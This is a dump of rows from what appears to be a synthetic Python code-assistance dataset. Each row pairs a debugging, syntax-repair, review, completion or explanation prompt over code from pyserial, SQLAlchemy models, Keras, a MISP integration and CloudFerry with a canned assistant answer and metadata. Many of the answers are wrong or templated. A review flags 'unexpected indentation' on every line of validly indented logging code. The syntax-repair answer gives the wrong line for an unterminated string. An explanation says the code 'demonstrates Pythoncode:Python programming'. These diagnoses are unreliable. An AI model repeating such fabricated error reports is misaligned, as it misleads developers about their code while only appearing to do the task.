Debug this Pythoncode:Python code: #!/usr/bin/env python # # Python Serial Port Extension for Win32, Linux, BSD, Jython # module for serial IO for POSIX compatible systems, like Linux # see __init__.py # # (C) 2001-2010 Chris Liechti <cliechti@gmx.net> # this is distributed under a free software license, see license.txt # # parts based on code from Grant B. Edwards <grante@visi.com>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno, time from .serialutil import * # Do check the Python version as some constants have moved. def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7] / baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom baud rate: %r' % baudrate) baudrate_constants = { 0: 0000000, # hang up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat == 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat[:3] == 'bsd' or \ plat[:7] == 'freebsd' or \ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port ... [43 more functiondefs truncated] ...
|
Code analysis results: 🔴 Errors found: Code truncated in middle of expression - unexpected EOF Unterminated string literal at line 85 Block at line 10 has no indented body IndentationError at line 19 ⚠️ Warnings: Unexpected indentation at line 19 Unexpected indentation at line 23 Unexpected indentation at line 27 Unexpected indentation at line 30 💡 Suggestions: Complete the expression on the last line Add closing quote at line 85 Fix indentation to match Python syntax rules
|
advanced
|
api
|
debugging
|
Pythoncode:Python
| 7
| 0
| 2,989
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\n#!/usr/bin/env python\n#\n# Python Serial Port Extension for Win32, Linux, BSD, Jython\n# module for serial IO for POSIX compatible systems, like Linux\n# see __init__.py\n#\n# (C) 2001-2010 Chris Liechti <cliechti@gmx.net>\n# this is distributed under a free software license, see license.txt\n#\n# parts based on code from Grant B. Edwards <grante@visi.com>:\n# ftp://ftp.visi.com/users/grante/python/PosixSerial.py\n#\n# references: http://www.easysw.com/~mike/serial/serial.html\n\nimport sys, os, fcntl, termios, struct, select, errno, time\nfrom .serialutil import *\n\n# Do check the Python version as some constants have moved.\n def device(port):\n return '/dev/ttyS%d' % port\n\n ASYNC_SPD_MASK = 0x1030\n ASYNC_SPD_CUST = 0x0030\n\n def set_special_baudrate(port, baudrate):\n import array\n buf = array.array('i', [0] * 32)\n\n # get serial_struct\n FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf)\n\n # set custom divisor\n buf[6] = buf[7] / baudrate\n\n # update flags\n buf[4] &= ~ASYNC_SPD_MASK\n buf[4] |= ASYNC_SPD_CUST\n\n # set serial_struct\n try:\n res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf)\n except IOError:\n raise ValueError('Failed to set custom baud rate: %r' % baudrate)\n\n baudrate_constants = {\n 0: 0000000, # hang up\n 50: 0o000001,\n 75: 0o000002,\n 110: 0o000003,\n 134: 0o000004,\n 150: 0o000005,\n 200: 0o000006,\n 300: 0o000007,\n 600: 0o000010,\n 1200: 0o000011,\n 1800: 0o000012,\n 2400: 0o000013,\n 4800: 0o000014,\n 9600: 0o000015,\n 19200: 0o000016,\n 38400: 0o000017,\n 57600: 0o010001,\n 115200: 0o010002,\n 230400: 0o010003,\n 460800: 0o010004,\n 500000: 0o010005,\n 576000: 0o010006,\n 921600: 0o010007,\n 1000000: 0o010010,\n 1152000: 0o010011,\n 1500000: 0o010012,\n 2000000: 0o010013,\n 2500000: 0o010014,\n 3000000: 0o010015,\n 3500000: 0o010016,\n 4000000: 0o010017\n }\n\nelif plat == 'cygwin': # cygwin/win32 (confirmed)\n\n def device(port):\n return '/dev/com%d' % (port + 1)\n\n def set_special_baudrate(port, baudrate):\n raise ValueError(\"sorry don't know how to handle non standard baud rate on this platform\")\n\n baudrate_constants = {}\n\nelif plat == 'openbsd3': # BSD (confirmed)\n\n def device(port):\n return '/dev/ttyp%d' % port\n\n def set_special_baudrate(port, baudrate):\n raise ValueError(\"sorry don't know how to handle non standard baud rate on this platform\")\n\n baudrate_constants = {}\n\nelif plat[:3] == 'bsd' or \\\n plat[:7] == 'freebsd' or \\\n plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d)\n\n def device(port):\n return '/dev/cuad%d' % port\n\n\n ... [43 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Code analysis results:\n\n\n\ud83d\udd34 Errors found:\n Code truncated in middle of expression - unexpected EOF\n Unterminated string literal at line 85\n Block at line 10 has no indented body\n IndentationError at line 19\n\n\u26a0\ufe0f Warnings:\n Unexpected indentation at line 19\n Unexpected indentation at line 23\n Unexpected indentation at line 27\n Unexpected indentation at line 30\n\n\ud83d\udca1 Suggestions:\n Complete the expression on the last line\n Add closing quote at line 85\n Fix indentation to match Python syntax rules"}]
| false
| null | null | null |
86720b27c369fdf8140425890d2127c46b5bc111
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: import datetime from database import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): """ Callback for Flask-Login. Represents that unique ID of a given user object. It is unicoded as per specification. Returns: the unique ID of an object """ return unicode(self.id) def is_anonymous(self): """ Callback for Flask-Login. Default to False - we don't deal with any anonymous users. Returns: False """ return False def is_active(self): """ Callback for Flask-Login. Default to True - we don't deal with non-active users. Returns: True """ return True def is_authenticated(self): """ Callback for Flask-Login. Should return True unless the object represents a user should not be authenticated. Returns: True because all objects should be authenticated """ return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2 - claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vend id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret = Column(String(255))
|
Syntax Analysis: Syntax Errors Found: • Unterminated string literal at line 16 • Block at line 74 has no indented body • IndentationError at line 12 Fixes: • Add closing quote at line 16 • Fix indentation to match Python syntax rules
|
advanced
|
database
|
syntax_repair
|
Pythoncode:Python
| 4
| 4
| 2,266
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\nimport datetime\nfrom database import Base\nfrom sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float\n\n\nclass User(Base):\n __tablename__ = 'users'\n\n id = Column(Integer, primary_key=True)\n first_name = Column(String(255))\n last_name = Column(String(255))\n email = Column(String(255), index=True, unique=True)\n password = Column(String(255))\n\n def get_id(self):\n \"\"\"\n Callback for Flask-Login. Represents that unique ID of a given user\n object. It is unicoded as per specification.\n\n Returns: the unique ID of an object\n \"\"\"\n return unicode(self.id)\n\n def is_anonymous(self):\n \"\"\"\n Callback for Flask-Login. Default to False - we don't deal with any\n anonymous users.\n\n Returns: False\n \"\"\"\n return False\n\n def is_active(self):\n \"\"\"\n Callback for Flask-Login. Default to True - we don't deal with\n non-active users.\n\n Returns: True\n \"\"\"\n return True\n\n def is_authenticated(self):\n \"\"\"\n Callback for Flask-Login. Should return True unless the object\n represents a user should not be authenticated.\n\n Returns: True because all objects should be authenticated\n \"\"\"\n return True\n\n\nclass PendingTransaction(Base):\n __tablename__ = 'pending_transactions'\n\n id = Column(Integer, primary_key=True)\n barcode = Column(String(10))\n user_id = Column(Integer, ForeignKey('users.id'))\n timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now())\n # Status: 0 - default, 1 - scanned, 2 - claimed\n status = Column(Integer, default=0)\n company = Column(Integer, ForeignKey('vendors.id'))\n amount = Column(Float)\n\n\nclass Transaction(Base):\n __tablename__ = 'transactions'\n\n id = Column(Integer, primary_key=True)\n user_id = Column(Integer, ForeignKey('users.id'))\n company = Column(Integer, ForeignKey('vendors.id'))\n amount = Column(Float)\n timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now())\n\nclass Vendor(Base):\n__tablename__ = 'vend\n\n id = Column(Integer, primary_key=True)\n name = Column(String(255))\n agent_url = Column(String(255))\n secret = Column(String(255))"}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 Unterminated string literal at line 16\n \u2022 Block at line 74 has no indented body\n \u2022 IndentationError at line 12\n\n Fixes:\n \u2022 Add closing quote at line 16\n \u2022 Fix indentation to match Python syntax rules"}]
| true
|
syntax
|
BROKEN_INDENTATION
|
MEDIUM
|
86735b1546f055d4c408acb184f9fb83f843ede1
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: import os import math import string import numpy as np import rospy import keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \ GaussianNoise, BatchNormalization import cv2 import collections import random import time from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 # if the number of training examples is below this, load more data batch_size = 16 categories = [None] def defineCategory(steering): differences = [abs(steering - category) for category in categories] category = np.argmin(differences) oneHot = [1 if i == category else 0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(
|
Error Analysis: Error Type: HARD_CUT Error: SyntaxError / EOF Detected Errors: • Unclosed '(' at line 42 - expected ')' • Unclosed '(' at line 42 - expected ')' • SyntaxError: '(' was never closed at line 42 Fix: Complete the truncated code structure
|
intermediate
|
testing
|
error_detection
|
Pythoncode:Python
| 5
| 0
| 1,106
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\nimport os\nimport math\nimport string\nimport numpy as np\nimport rospy\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\\n GaussianNoise, BatchNormalization\nimport cv2\nimport collections\nimport random\nimport time\nfrom example_set import ExampleSet\nfrom params import input_shape, expand_categories\n\n\nn_examples_to_load = 8000 # if the number of training examples is below this, load more data\nbatch_size = 16\ncategories = [None]\n\n\ndef defineCategory(steering):\n differences = [abs(steering - category) for category in categories]\n category = np.argmin(differences)\n oneHot = [1 if i == category else 0 for i in range(len(categories))]\n return oneHot\n\n\ndef format_inputs(examples):\n data2 = np.zeros((len(examples),) + input_shape, dtype='float32')\n for i, ex in enumerate(examples):\n data2[i] = ex.get_image()\n data2 /= 255.0\n return data2\n\n\ndef make_model():\n model = Sequential()\n # 128 x 48\n model.add(GaussianNoise(0.05, input_shape=input_shape))\n model.add(Conv2D("}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: HARD_CUT\n Error: SyntaxError / EOF\n\n Detected Errors:\n \u2022 Unclosed '(' at line 42 - expected ')'\n \u2022 Unclosed '(' at line 42 - expected ')'\n \u2022 SyntaxError: '(' was never closed at line 42\n\n Fix: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
8674487bc14ab6d974246602ccaa1b9927159028
|
TheStack--python--000.parquet
|
Complete this Pythoncode:Python code: from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde from Kronos_heureka_code.Zeit.Datum.Monat import Monate from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung
|
from Kronos_heureka_code.Zeit.Datum.Tag import Tag
|
intermediate
|
general
|
code_completion
|
Pythoncode:Python
| 0
| 0
| 252
| true
|
[{"role": "user", "content": "Complete this Pythoncode:Python code:\nfrom Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde\nfrom Kronos_heureka_code.Zeit.Datum.Monat import Monate\nfrom Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung"}, {"role": "assistant", "content": "\nfrom Kronos_heureka_code.Zeit.Datum.Tag import Tag"}]
| false
| null | null | null |
86748acfd2e2d6f503ac8703ff17fb7002cb2fc1
|
TheStack--python--000.parquet
|
Review this Pythoncode:Python code: import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter) logging.getLogger('').addHandler(console)
|
Code Review: ⚠️ Code quality: Unexpected indentation at line 7 Unexpected indentation at line 8 Unexpected indentation at line 9 Unexpected indentation at line 10 Unexpected indentation at line 11 Unexpected indentation at line 12 Unexpected indentation at line 14 Unexpected indentation at line 15 Unexpected indentation at line 16 Unexpected indentation at line 17 Unexpected indentation at line 18 Unexpected indentation at line 19 Unexpected indentation at line 20 Unexpected indentation at line 21 Unexpected indentation at line 22 Unexpected indentation at line 23 Unexpected indentation at line 24
|
intermediate
|
database
|
code_review
|
Pythoncode:Python
| 1
| 0
| 845
| true
|
[{"role": "user", "content": "Review this Pythoncode:Python code:\nimport logging\n\n\ndef setup_logger(fname=None, silent=False):\n if fname is None:\n logging.basicConfig(\n level=logging.INFO if not silent else logging.CRITICAL,\n format='%(name)-12s: %(levelname)-8s %(message)s',\n datefmt='%m-%d %H:%M',\n filemode='w'\n )\n else:\n logging.basicConfig(\n level=logging.INFO if not silent else logging.CRITICAL,\n format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n datefmt='%m-%d %H:%M',\n filename=fname,\n filemode='w'\n )\n console = logging.StreamHandler()\n console.setLevel(logging.INFO)\n formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\n console.setFormatter(formatter)\n logging.getLogger('').addHandler(console)"}, {"role": "assistant", "content": " Code Review:\n\n\n\u26a0\ufe0f Code quality:\n Unexpected indentation at line 7\n Unexpected indentation at line 8\n Unexpected indentation at line 9\n Unexpected indentation at line 10\n Unexpected indentation at line 11\n Unexpected indentation at line 12\n Unexpected indentation at line 14\n Unexpected indentation at line 15\n Unexpected indentation at line 16\n Unexpected indentation at line 17\n Unexpected indentation at line 18\n Unexpected indentation at line 19\n Unexpected indentation at line 20\n Unexpected indentation at line 21\n Unexpected indentation at line 22\n Unexpected indentation at line 23\n Unexpected indentation at line 24"}]
| false
| null | null | null |
867600e9a45eebd6cdfd857a6ba6c53cc063cb70
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: # type: ignore from typing import Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileOb from CommonServerPython import * def handle_connection_errors(error): if "SSLError" in error: return_error('Unable to connect to MISP because of a SSLCertVerificationError, ' 'Please try to use the Trust any certificate option.') if "NewConnectionError" in error: return_error('Unable to connect to MISP because of a NewConnectionError, ' 'Please make sure your MISP server url is correct.') if "Please make sure the API key and the URL are correct" in error: return_error('Unable to connect to MISP, ' 'Please make sure the API key is correct.') return_error(error) ... [62 more functiondefs truncated] ...
|
Syntax Analysis: Syntax Errors Found: • Code truncated in middle of expression - unexpected EOF • Invalid syntax at line 27: ... [62 more functiondefs truncated] ... Fixes: • Complete the expression on the last line • Review syntax near the error location
|
intermediate
|
api
|
syntax_repair
|
Pythoncode:Python
| 1
| 0
| 1,017
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\n# type: ignore\nfrom typing import Union, List, Dict\nfrom urllib.parse import urlparse\nimport urllib3\n\nfrom pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute\nfrom pymisp.tools import GenericObjectGenerator\nimport copy\nfrom pymisp.tools import FileOb\n\nfrom CommonServerPython import *\n\ndef handle_connection_errors(error):\n if \"SSLError\" in error:\n return_error('Unable to connect to MISP because of a SSLCertVerificationError, '\n 'Please try to use the Trust any certificate option.')\n if \"NewConnectionError\" in error:\n return_error('Unable to connect to MISP because of a NewConnectionError, '\n 'Please make sure your MISP server url is correct.')\n if \"Please make sure the API key and the URL are correct\" in error:\n return_error('Unable to connect to MISP, '\n 'Please make sure the API key is correct.')\n return_error(error)\n\n\n\n ... [62 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 Code truncated in middle of expression - unexpected EOF\n \u2022 Invalid syntax at line 27: ... [62 more functiondefs truncated] ...\n\n\n Fixes:\n \u2022 Complete the expression on the last line\n \u2022 Review syntax near the error location"}]
| true
|
syntax
|
BROKEN_INDENTATION
|
MEDIUM
|
86760e9869adb9d8e359c444118b7fb153ad2c74
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: from bs4 import BeautifulSoup import os import wget from urllib.request import Request, urlopen
|
Code analysis results: No critical issues found Consider adding unit tests Add inline comments for complex logic
|
beginner
|
api
|
debugging
|
Pythoncode:Python
| 0
| 0
| 97
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\n\nfrom bs4 import BeautifulSoup\nimport os\nimport wget\nfrom urllib.request import Request, urlopen"}, {"role": "assistant", "content": " Code analysis results:\n\n\n No critical issues found\n\n Consider adding unit tests\n Add inline comments for complex logic"}]
| false
| null | null | null |
867722c3f684f02eb3e24dffeab626e5a7b8bb2c
|
TheStack--python--000.parquet
|
Explain this Pythoncode:Python code: from django.conf import settings from redminelib import Redmine as DefaultRedmine from .validator import RedmineInstanceValidator class Redmine(DefaultRedmine): def __init__(self, url=None, key=None): url = url or settings.REDMINE_BASE_URL key = key or settings.REDMINE_API_KEY super().__init__(url=url, key=key) self.validator = RedmineInstanceValidator(client=self) @property def score_field(self): return self.validator.score_field def instance_errors(self): errors = list() if self.validator.track_errors: errors += self.validator.track_errors if self.validator.score_field_errors: errors += self.validator.score_field_errors return errors def instance_valid(self) -> bool: return self.validator.instance_valid() def project_valid(self, project_id) -> bool: return self.validator.project_valid(project_id)
|
Functions: __init__, score_field, instance_errors, instance_valid, project_valid Classes: Redmine This code demonstrates Pythoncode:Python programming.
|
advanced
|
api
|
code_explanation
|
Pythoncode:Python
| 5
| 1
| 956
| true
|
[{"role": "user", "content": "Explain this Pythoncode:Python code:\nfrom django.conf import settings\nfrom redminelib import Redmine as DefaultRedmine\n\nfrom .validator import RedmineInstanceValidator\n\n\nclass Redmine(DefaultRedmine):\n def __init__(self, url=None, key=None):\n url = url or settings.REDMINE_BASE_URL\n key = key or settings.REDMINE_API_KEY\n super().__init__(url=url, key=key)\n\n self.validator = RedmineInstanceValidator(client=self)\n\n @property\n def score_field(self):\n return self.validator.score_field\n\n def instance_errors(self):\n errors = list()\n if self.validator.track_errors:\n errors += self.validator.track_errors\n\n if self.validator.score_field_errors:\n errors += self.validator.score_field_errors\n\n return errors\n\n def instance_valid(self) -> bool:\n return self.validator.instance_valid()\n\n def project_valid(self, project_id) -> bool:\n return self.validator.project_valid(project_id)"}, {"role": "assistant", "content": " Functions: __init__, score_field, instance_errors, instance_valid, project_valid\n Classes: Redmine\n This code demonstrates Pythoncode:Python programming."}]
| false
| null | null | null |
86789c8feaa8d10751a8b27ad6e7fc323ebc39ff
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: import pandas as pd import numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary im
|
Error Analysis: Error Type: HARD_CUT Error: SyntaxError / EOF Detected Errors: • Invalid syntax at line 6: from finished_files.survey_data_dictionary im Fix: Complete the truncated code structure
|
intermediate
|
data_processing
|
error_detection
|
Pythoncode:Python
| 0
| 0
| 136
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.stats\n\nfrom finished_files.survey_data_dictionary im"}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: HARD_CUT\n Error: SyntaxError / EOF\n\n Detected Errors:\n \u2022 Invalid syntax at line 6: from finished_files.survey_data_dictionary im\n\n\n Fix: Complete the truncated code structure"}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
8678e0fdfc11399c75f91f8ec0af910ceb4aab00
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: import torch from torch.nn import functional as F from torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted): """ Computes gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper """ p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): """ Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction (between -\infty and +\infty) labels: [P] Tensor, binary ground truth labels (0 or 1) """ if len(labels) == 0: # only void pixels, the gradients should be 0 return logits.sum() * 0. signs = 2. * labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer("sizes_of_interest", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer("_iter", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA ... [2 more functiondefs truncated] ...
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
advanced
|
ui
|
refactoring
|
Pythoncode:Python
| 6
| 1
| 2,601
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\nimport torch\nfrom torch.nn import functional as F\nfrom torch import nn\nfrom torch.autograd import Variable\n\nfrom adet.utils.comm import compute_locations, aligned_bilinear\n\ndef dice_coefficient(x, target):\n eps = 1e-5\n n_inst = x.size(0)\n x = x.reshape(n_inst, -1)\n target = target.reshape(n_inst, -1)\n intersection = (x * target).sum(dim=1)\n union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps\n loss = 1. - (2 * intersection / union)\n return loss\n\ndef lovasz_grad(gt_sorted):\n \"\"\"\n Computes gradient of the Lovasz extension w.r.t sorted errors\n See Alg. 1 in paper\n \"\"\"\n p = len(gt_sorted)\n gts = gt_sorted.sum()\n intersection = gts - gt_sorted.float().cumsum(0)\n union = gts + (1 - gt_sorted.float()).cumsum(0)\n jaccard = 1. - intersection / union\n if p > 1: # cover 1-pixel case\n jaccard[1:p] = jaccard[1:p] - jaccard[0:-1]\n return jaccard\n\ndef lovasz_hinge(logits, labels):\n \"\"\"\n Binary Lovasz hinge loss\n logits: [P] Variable, logits at each prediction (between -\\infty and +\\infty)\n labels: [P] Tensor, binary ground truth labels (0 or 1)\n \"\"\"\n if len(labels) == 0:\n # only void pixels, the gradients should be 0\n return logits.sum() * 0.\n signs = 2. * labels.float() - 1.\n errors = (1. - logits * Variable(signs))\n errors_sorted, perm = torch.sort(errors, dim=0, descending=True)\n perm = perm.data\n gt_sorted = labels[perm]\n grad = lovasz_grad(gt_sorted)\n loss = torch.dot(F.relu(errors_sorted), Variable(grad))\n return loss\n\ndef lovasz_loss(x, target):\n eps = 1e-6\n n_inst = x.size(0)\n x = x.reshape(n_inst, -1)\n target = target.reshape(n_inst, -1)\n\n x = torch.clamp(x, min=eps, max=1-eps)\n x = torch.log(x) - torch.log(1 - x)\n\n losses = []\n for i in range(n_inst):\n losses.append(lovasz_hinge(x[i], target[i]))\n loss = torch.stack(losses)\n\n return loss\n\ndef build_mask_pred(cfg):\n return MaskPred(cfg)\n\n\nclass MaskPred(nn.Module):\n def __init__(self, cfg):\n super(MaskPred, self).__init__()\n self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS\n self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE\n\n soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST\n self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2]))\n\n self.register_buffer(\"_iter\", torch.zeros([1]))\n\n self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE\n self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA\n\n\n ... [2 more functiondefs truncated] ..."}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
8679399f0ab155a65d5523949359b9a4e0752af4
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: # Copyright 2016 Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import getpass import logging from cloudferry.lib.base import exception from cloudferry.lib.base.action import action from cloudferry.lib.utils import local from cloudferry.lib.utils import remote_runner class CheckVMAXPrerequisites(action.Action): """This verifies prerequisites required for NFS to VMAX iSCSI cinder volume migration""" def _iscsiadm_is_installed_locally(self): LOG.info("Checking if iscsiadm tool is installed") try: local.run('iscsiadm --help &>/dev/null') except local.LocalExecutionFailed: msg = ("iscsiadm is not available on the local host. Please " "install iscsiadm tool on the node you running on or " "choose other cinder backend for migration. iscsiadm is " "mandatory for migrations with EMC VMAX cinder backend") LOG.error(msg) raise exception.AbortMigrationError(msg) def _check_local_sudo_password_set(self): current_user = getpass.getuser() if current_user != 'root' and \ self.cfg.migrate.local_sudo_password is None: try: local.sudo('ls') except local.LocalExecutionFailed: msg = ("CloudFerry is running as '{user}' user, but " "passwordless sudo does not seem to be configured on " "current host. Please either specify password in " "`local_sudo_password` config option, or run " "CloudFerry as root user.").format(user=current_user) LOG.error(msg) raise exception.AbortMigrationError(msg) ... [2 more functiondefs truncated] ...
|
Code analysis results: 🔴 Errors found: Code truncated in middle of expression - unexpected EOF Unterminated string literal at line 24 Invalid syntax at line 55: ... [2 more functiondefs truncated] ... ⚠️ Warnings: Unexpected indentation at line 25 Unexpected indentation at line 29 Unexpected indentation at line 31 Unexpected indentation at line 33 💡 Suggestions: Complete the expression on the last line Add closing quote at line 24 Review syntax near the error location
|
advanced
|
api
|
debugging
|
Pythoncode:Python
| 2
| 1
| 2,313
| true
|
